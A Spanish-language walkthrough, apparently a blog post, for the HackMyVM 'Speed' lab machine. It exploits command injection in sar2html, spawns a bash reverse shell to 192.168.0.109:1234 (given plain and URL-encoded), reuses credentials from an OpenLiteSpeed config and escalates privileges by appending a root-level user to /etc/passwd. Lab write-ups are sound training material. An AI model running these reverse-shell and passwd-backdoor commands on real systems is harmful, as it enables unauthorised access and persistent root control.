HackMyVM Speed — Linux

Gm4tsyGm4tsy
4 min read

Para poder hacer uso de esta máquina primero debemos descargar el archivo y así poder desplegar el laboratorio.

Descargamos el archivo de la página https://hackmyvm.eu/machines/

Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos un archivo.

Para desplegar el laboratorio usaremos nuestro hipervisor favorito e iniciamos la máquina. En caso de no observar la IP de la máquina podemos emplear arp-scan para ver la dirección IP en nuestra red que sería la 192.168.0.157.

Realizamos un ping a la dirección IP y podemos validar que tenemos alcance.

Empezamos con un escaneo de puertos y podemos ver que tenemos 4 puertos.

Empezamos realizando un escaneo más profundo de los puertos identificados y podemos observar que para los puertos 80,7080 y 8088 son servicios web interesantes.

Ingresamos la dirección IP en el navegador y podemos observar la página de inicio de sar2html

Revisando la versión podemos ver que hay un exploit, pero es para la versión 3.2.1

Ingresando a exploit-db podemos ver que la manera de ejecutar este script es bastante fácil.

Probamos el comando, pero así a simple vista no vemos nada llamativo.

Pero al expandir select host vemos que se agregó una nueva opción que contiene el contenido del comando.

Como podemos ejecutar comandos, probaremos estableciendo una rev-shell y para ello primero empezaremos nuestro listener.

Ahora preparamos nuestro comando

bash -c 'bash -i >& /dev/tcp/192.168.0.109/1234 0>&1'
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.109%2F1234%200%3E%261%22

Enviamos el comando y si se queda cargando la página es buena señal.

Regresamos a nuestro listener y podemos observar que ya tenemos conexión.

Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos

script /dev/null -c bash

luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty

stty raw -echo; fg
                reset xterm

para obtener más características usamos

export TERM=xterm

para la variable de entorno

echo $SHELL

y para pasar a bash usamos

export SHELL=/bin/bash

para establecer el tamaño adecuado de la consola ingresamos

stty rows 59 cols 236

de esta manera ya nos podemos mover con más libertad en la consola.

Revisando los archivos temporales podemos ver que en opt hay un archivo interesante llamado opelitespeed que coincide con el servicio que está corriendo en el puerto 7080.

Al ingresar al directorio podemos ver que tenemos un archivo llamado ols.conf y al abrirlo podemos ver unas credenciales.

Nos dirigimos al navegador e ingresaremos las credenciales encontradas.

Ahora estamos dentro del servicio.

Buscando como explotarlo podemos ver que en exploit-db tenemos una guía de como explotar y generar una rev-shell, pero es para la versión 5.4.11 que es superior a la nuestra y puede que también aplique para esta versión.

Antes de ello iniciamos nuestro listener.

En el navegador vamos a la ruta que nos indica y guardamos los cambios.

Por último le picamos al botón verde Graceful Restart y aceptamos.

Regresamos a nuestro listener y podemos observar que se estableció conexión, pero ahora como nobody y para tener una shell más estable repetimos los pasos que hicimos al momento de ganar acceso como www-data.

Tratamos de ir a la carpeta usuario, pero vemos que no estamos como un usuario, pero si vemos los usuarios tenemos a root y a marvin.

Buscando archivos y maneras de como escalar, regresamos al exploit para ver si cometimos algún error y en la prueba de concepto podemos ver que no agregamos el usuario ni el grupo como lo hacen ahí.

Ya que tenemos la posibilidad de ejecutar como el usuario, probaremos tanto ejecutando los usuarios marvin y root, primero con marvin y marvin de grupo.

Luego de ejecutar con el mismo grupo podemos ver que tenemos accesos como marvin.

Ahora probamos si podemos hacer lo mismo pero con marvin pero perteneciendo al grupo root.

Ejecutamos y vemos que no estamos como marvin, pero los permisos que tenemos es como nobody, pero sí pertenecemos al grupo root.

Realizamos la misma prueba con root de usuario y grupo.

En esta variación podemos ver que tenemos el mismo resultado de ser nobody con grupo root.

Si bien no somos root con estos permisos podemos modificar y leer archivos root. Con lo cual podemos modificar usuarios y agregar que sería lo más práctico al momento de escalar privilegios. Para ello primero veremos si tenemos openssl y es así.

Primero creamos un hash usando OpenSSL para nuestro password gm4tsy.

openssl passwd -1 gm4tsy123

y luego agregaríamos al passwd,

echo 'gm4tsy:$1$zErgUmGH$u4TbNIM8Edq8P9X1aGyAX/:0:0:/root:/bin/bash' >> /etc/passwd

Debería verse de la siguiente manera

ahora si realizamos un su - gm4tsy deberíamos poder acceder con permisos root. De esta manera culminamos esta máquina.

0
Subscribe to my newsletter

Read articles from Gm4tsy directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Gm4tsy
Gm4tsy